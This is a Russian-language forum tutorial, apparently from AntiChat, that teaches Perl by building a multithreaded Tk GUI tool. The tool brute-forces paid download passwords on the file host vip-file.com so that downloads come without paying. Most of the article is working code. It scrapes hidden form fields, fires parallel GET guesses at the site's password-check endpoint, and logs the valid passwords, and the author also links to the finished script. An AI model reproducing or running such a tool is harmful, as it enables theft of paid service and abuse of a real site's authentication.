## Написание многопоточного брута веб-форм на перле, на примере vip-file, с GUI ##
Сразу хочу сказать, что это моя первая статья на ачате и
мой первый скрипт на перле, так что сильно не пинайте) Статья расчитана на тех, кто не знаком / мало знаком с перлом ..
Итак, начинаем. Все любят качать с большой скоростью и платить за это бабло какому-то вип-файлу желания мало .. исправим
!1 - Подготовка
Для начала понадобится перл,
-- Для винды - качаем ActivePerl
-- Для тукса:
sudo apt-get install perl
sudo apt-get install perl-tk
либо
rpm -ivh perl-Tk-номер_версии-сборка.архитектура.rpm
!1.1 FAQ
Q:
Где мона взять большое faq по перлу?)
A: [rus]
http://faqs.org.ru/progr/web_lang/perl_faq.htm
Q:
А учебник?)
A:
http://www.spravkaweb.ru/perl/
Q:
Откуда слить документацию по LWP?
A: [rus, pdf]
http://pascal.sources.ru/incoming/lwp-spec.zip
Q:
Откуда слить документацию на русском по Tk?
A: Действительно, откуда?)) Я юзал Pod Brouser (слить мона с репозитория убунты, Pod Brouser на английском), сплоиты от RST/GHC, респект им, и вот эту небольшую статью:
http://gazette.linux.ru.net/rus/articles/perl_tk.html
!2 - Начинаем
Код:
#!/usr/local/bin/perl
print "##################################\n";
print "# Vip-File brute #\n";
print "# (c) BlackSun [S.T.A.R.S. Team] #\n";
print "##################################\n";
Разъясню по строчкам:
#!/usr/local/bin/perl - данная строка должна быть первой в любой Perl-программе. Она указывает системному интерпретатору что данный файл - это Perl-программа.
print "# Vip-File brute #\n"; - вывод на экран, в данном случае мини-about
Едем дальше, подключаем нужные модули
Код:
use Tk;
use Tk::BrowseEntry;
use Tk::DialogBox;
use LWP::UserAgent;
use threads;
use threads::shared;
Tk - консоль конешно хорошо, но GUI привычнее)
use - подключает нужный модуль и нам становятся доступны все его подпрограммы. Файл модуля с расширением ".pm" должен храниться в одной из библиотечных директорий Perl. Они перечислены в массиве @INC, одна из них обычно "/usr/local/lib/perl/".
Теперь создаем окно,
Код:
$window = new MainWindow(title => "VFB - Vip File brute");
$window->geometry('420x175');
$window->resizable(0, 0);
$window = new MainWindow(title => "VFB - Vip File brute"); - собственно функция создания окна с заголовком
VFB - Vip File brute.
$window->geometry('420x175'); - задаем размеры окна.
Добавим немного переменных, доступных из любого потока
Код:
my $url : shared;
$url = 'http://vip-file.com/download/ae25b2336179/asdwqerfawdq3d.htm.html';
my $range : shared;
$range = '959000000-999999999';
my $btype : shared;
$btype = 'By range';
my $threads_count : shared;
$threads_count = '50';
my $good : shared;
$good = 0;
my $checked : shared;
$checked = 0;
my $cp : shared;
$cp = 0;
$url - ссыль на залитый файл на вип файле.
$range - диапозон для брута.
$btype - тип брута.
$threads_count - кол-во потоков.
$good - кол-во сбрученных паролей.
$checked - кол-во проверенных паролей.
$cp - текуший пароль.
Окно создали, заполняем его контроллами ..
Код:
# Frames
$left = $window->Frame(-borderwidth => 5)->pack(-side => 'left', -anchor => 'ne');
$right = $window->Frame(-borderwidth => 5)->pack(-side => 'right', -anchor => 'nw');
# url to file
$left->Label(-text => 'URL to file: ')->pack();
$right->Entry(-relief => 'groove', -width => 45, -textvariable => \$url)->pack();
# type of brute
$left->Label(-text => 'Brute type: ')->pack();
$type = $right->BrowseEntry(-relief => "groove", -variable => \$btype);
$type->insert('end', 'By range');
$type->insert('end', 'Random');
$type->pack(-side => 'top' , -anchor => 'w');
# range option
$left->Label(-text => 'Range: ')->pack();
$right->Entry(-relief => 'groove', -width => 45, -textvariable => \$range)->pack();
# threads count
$left->Label(-text => 'Threads count: ')->pack();
$right->Entry(-relief => 'groove', -width => 45, -textvariable => \$threads_count)->pack();
$left->Label(-text => 'Good: ')->pack();
$lgood = $left->Entry(-relief => 'groove', -textvariable => \$good)->pack();
$left->Label(-text => 'Checked: ')->pack();
$lchecked = $left->Entry(-relief => 'groove', -textvariable => \$checked)->pack();
$right->Button(-text => 'Start',
-relief => "groove",
-activeforeground => 'red',
-width => '45',
-command => \&start_brute)->pack();
$right->Button(-text => 'About',
-relief => "groove",
-activeforeground => 'red',
-width => '45',
-command => \&about)->pack();
$right->Button(-text => 'Quit',
-relief => "groove",
-activeforeground => 'red',
-width => '45',
-command => \&exit)->pack();
$window->Frame() - Создаем рамку для группирования контроллов, атрибут
-borderwidth отвечает за ширину бордюра.
Метод
pack предназначен для задания свойств расположения элемента на форме.
-side => 'left' означает, что рамка будет "прилипать" к левой границе формы.
$left->Label - На левом фрейме создаем текстовую метку aka label,
-text думаю и ежу понятно, что отвечает за текст в метке.
$right->Entry - На правом фрейме создаем текстовое поле,
-relief отвечает за вид этого поля,
-width за ширину,
-textvariable за текст в нем.
$type = $right->BrowseEntry - Создаем выпадаюший список.
$type->insert('end', 'By range'); - добавляем в конец этого списка его элементы, первый аттрибут ('end') отвечает за расположение вставляемого элемента, в данном случае - в конец, второй - собственно текст.
Про метод
pack я уже писал выше ..
$right->Button - Добавляем на правый фрейм кнопку,
-text - текст на кнопке,
-activeforeground - цвет текста, когда над кнопкой находится мышь,
-command - имя подпрограммы - обработчика, когда на кнопку нажимают.
И запускаем наш интерфейс
С оболочкой закончили, приступаем к коду брута .. немного теории:
#
Подпрограммы
- Для применения подпрограммы ее необходимо определить либо в текущем модуле (файле), либо во внешнем модуле (файле). Подпрограммы определяются и декларируются следующим образом:
sub имя; - Только декларация. Определение ниже.
sub имя (прототипы); - То же но с декларацией параметров.
sub имя блок; - Декларация и определение.
sub имя (прототипы) блок; - То же, но с параметрами.
#
Private переменные.
- Для применения переменных доступных только внутри блока или подпрограммы необходимо определить их с помощью функции my(список). Если переменная одна, то скобки можно опустить.
my() декларирует private переменные в пределах текущей подпрограммы, блока, функции eval() или do/require/use файлов. Private переменные аналогичны auto переменным в С.
Приступаем к написанию ..
Функция
about, ну а как без нее)
Код:
sub about()
{
my $about = "Vip-File brute\r\n(c) BlackSun [S.T.A.R.S. Team]\r\nDemo :)";
$window->messageBox(-title => '.[ About ].',
-message => $about,
-type => 'OK',
-font => '12');
}
my $about - Определяем приватную переменную с тексом мессаги.
$window->messageBox - Выводим сообшение.
-title - заголовок окна,
-message - само сообшение,
-type - тип сообшения, в данном случае окно с кнопкой
Ok,
-font - шрифт, у мну указан только размер.
Итак, 2 кнопки уже работают, About и Quit, теперь напишем доп-ные функции.
Вначале нам надо получить hidden поля с вип файла -
uid и
fid,
/* небольшое отступление, дальше будут простые GET запросы, если вам понадобятся POST запросы, прокси или базовая авторизация - качайте
http://pascal.sources.ru/incoming/lwp-spec.zip */
Функция получения содержимого страницы:
Код:
sub get_content()
{
$ua = LWP::UserAgent->new();
$request = HTTP::Request->new(GET => $_[0]);
$request->header(Accept => 'text/html');
$result = $ua->request($request);
if ($result->is_success)
{
return $result->content;
} else
{
return 0;
}
}
$ua = LWP::UserAgent->new - Создаем новый объект
LWP::UserAgent.
$request = HTTP::Request->new(GET => $_[0]); создаем новый запрос, в данном случае - GET.
$request->header(Accept => 'text/html'); - в заголовке передаем, что принимаем
text/html.
$result = $ua->request($request); - отправляем запрос.
if ($result->is_success) - если удачно, возращяем, что получили, иначе 0.
Вызвать функцию можно будет вот так:
$text = &get_content($url);
Функция вывода ошибки:
Код:
sub error()
{
$window->messageBox(-title => 'Error',
-message => $_[0],
-type => 'OK', -font => '12');
print "Error: ".$_[0]."\n";
exit();
}
Все просто, показываем сообшение и выходим.
Функция добавления в лог сбрученных паролей:
Код:
sub add2log()
{
print "Good: ".$_[0]."\n";
if(open(LogFile, ">>good.txt"))
{
if (!print LogFile $_[0], "\n")
{
&error("Cant write to doog.txt\r\n$_[0]");
}
close(LogFile);
} else
{
&error("Cant open good.txt\r\n$_[0]");
}
}
if(open(LogFile, ">>good.txt")) - Открываем файл good.txt для записи сбрученных паролей, если открыть не вышло (ужос), то выводим мессагу и выходим,
LogFile - дескриптор файла.
if (!print LogFile $_[0], "\n") - Записываем в файл сбрученный пароль, если не вышло - выходим сами))
close(LogFile); - Закрываем дескриптор файла.
Функция выдирания
uid,
name и
fid из рипнутого кода, который лежит в $text.
Код:
sub content2hv()
{
$start = index($text, 'name="uid" value="');
if ($start == -1)
{
&error('Cant find uid.');
}
$start = $start + 18;
$end = index($text, '"', $start);
$uid = substr($text, $start, $end-$start);
$start = index($text, 'name="name" value="');
if ($start == -1)
{
&error('Cant find name.');
}
$start = $start + 19;
$end = index($text, '"', $start);
$name = substr($text, $start, $end-$start);
$start = index($text, 'name="fid" value="');
if ($start == -1)
{
&error('Cant find fid.');
}
$start = $start + 18;
$end = index($text, '"', $start);
$fid = substr($text, $start, $end-$start);
}
Функция
index (синтаксис:
index СТРОКА, ПОДСТРОКА[, ПОЗИЦИЯ]) возвращает позицию первого вхождения указанной подстроки в заданную строку или -1, если подстрока не найдена. Если задан параметр ПОЗИЦИЯ, то поиск подстроки осуществляется, начиная с заданной позиции в строке (0 - начало строки).
Функция
substr (синтаксис:
substr СТРОКА, СМЕЩЕНИЕ [, ДЛИНА[, ЗАМЕЩЕНИЕ]]) извлекает из строки, заданной параметром СТРОКА, подстроку длиной равной значению параметра ДЛИНА, начиная с символа, заданного параметром СМЕЩЕНИЕ. Если СМЕЩЕНИЕ отрицательно, то извлечение начинается с последнего символа строки. Если значение параметра ДЛИНА отрицательно, то от конца строки отсекается количество символов, равное абсолютному значению этого параметра. Если задана строка ЗАМЕЩЕНИЕ, то выделенная подстрока замещается ею в параметре СТРОКА, которы в этом случае должен быть lvalue.
Теперь напишем функцию проверки пароля - для этого надо отправить GET запрос на випфайл:
Код:
http://vip-file.com/sms/check.php?pass=<pass_here>&uid=<uid_here>&name=<name_here>&fid=<fid_here>&submit=%D1%EA%E0%F7%E0%F2%FC
Сама процедура:
Код:
sub check_pass()
{
$get = "http://vip-file.com/sms/check.php?pass=$_[0]&uid=$uid&name=$name&fid=$fid&submit=%D1%EA%E0%F7%E0%F2%FC";
$content = &get_content($get);
if ($content eq '')
{
return 0;
} else
{
return index($content, 'This password does not exist');
}
}
В $get наш запрос, в $content его результат, функция возращяет значение функции index, которая ишет строку в тексте и если не находит, возращяет -1. -1 в данном случае - пароль подошел)
Функция брута:
Код:
sub brute()
{
while ($cp < $range_end)
{
if ($btype eq 'By range')
{
$cp++;
if (&check_pass($cp) == -1)
{
&add2log($cp);
$good++;
}
}
else
{
$pass = int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9)).int(rand(9));
if (&check_pass($pass) == -1)
{
&add2log($pass);
$good++;
}
}
$checked++;
}
}
while ($cp < $range_end) - Цыкл, который будет работать, пока указанный диапазон не закончится, есстесно, если выбран тип брута "Random", то функция будет работать без остановки)
if ($btype eq 'By range') -
$btype - комбо-бокс для выбора типа брута.
$cp++; - Увеличиваем на 1 текуший пароль.
if (&check_pass($cp) == -1) - Чекаем пароль, если -1 - значит он подошел.
&add2log($cp); - Описывал выше, добавляет пароль в лог.
$good++; - Увеличиваем счетчик сбрученных паролей.
int - Округляет число до целого,
rand - генерит случайное число.
Функция вывода инфы на экран:
Код:
sub info_thread()
{
while(1)
{
print "Total checked: ".$checked." | Valid: ".$good."\n";
$a = $lgood->configure(-text => $good);
$a = $lchecked->configure(-text => $checked);
sleep(5);
}
}
while(1) - бесконечный цикл.
$a = $lgood->configure(-text => $good); - Обновляем текст в текстовом поле.
sleep(5); - Пауза на 5 секунд.
Обработчик нажантия кнопки Start ))
Код:
sub start_brute()
{
$cp = substr($range, 0, 9);
$range_end = substr($range, 10, 9);
srand();
if ($btype eq 'By range')
{
print "Starting brute by range ..\n";
} else
{
print "Starting brute by random ..\n";
}
&add2log('- Brute started -');
$text = &get_content($url);
&content2hv();
threads->new(\&info_thread);
for (0..$threads_count)
{
if ($cp < $range_end)
{
threads->new(\&brute);
}
}
print "All threads created\n";
}
$cp = substr($range, 0, 9); - Получаем начальный пароль,
substr - копирует строку $range начиная с 0, длинной в 9.
$range_end = substr($range, 10, 9); - Получаем конечный пароль.
srand(); - Для функции
rand.
$text = &get_content($url); - Получаем содержымое страницы с випфайла, дабы выдернуть 3 переменных (uid, fid, name).
&content2hv(); - Выдираем .. )
threads->new(\&info_thread); - Создаем поток для вывода инфы на экран.
for (0..$threads_count) - И в цыкле создаем все потоки -
threads->new(\&brute);
!2 The end();
[- Готовый скрипт ---
http://secretsdrive.net/get/01/b187d62737/vfb.pl.tar.gz ---]
Теги: Perl,
Tk, LWP, Brute, брут, Vip-file, статья, качать бесплатно
---------------------
(c) BlackSun [S.T.A.R.S. Team]
Special for AntiChat.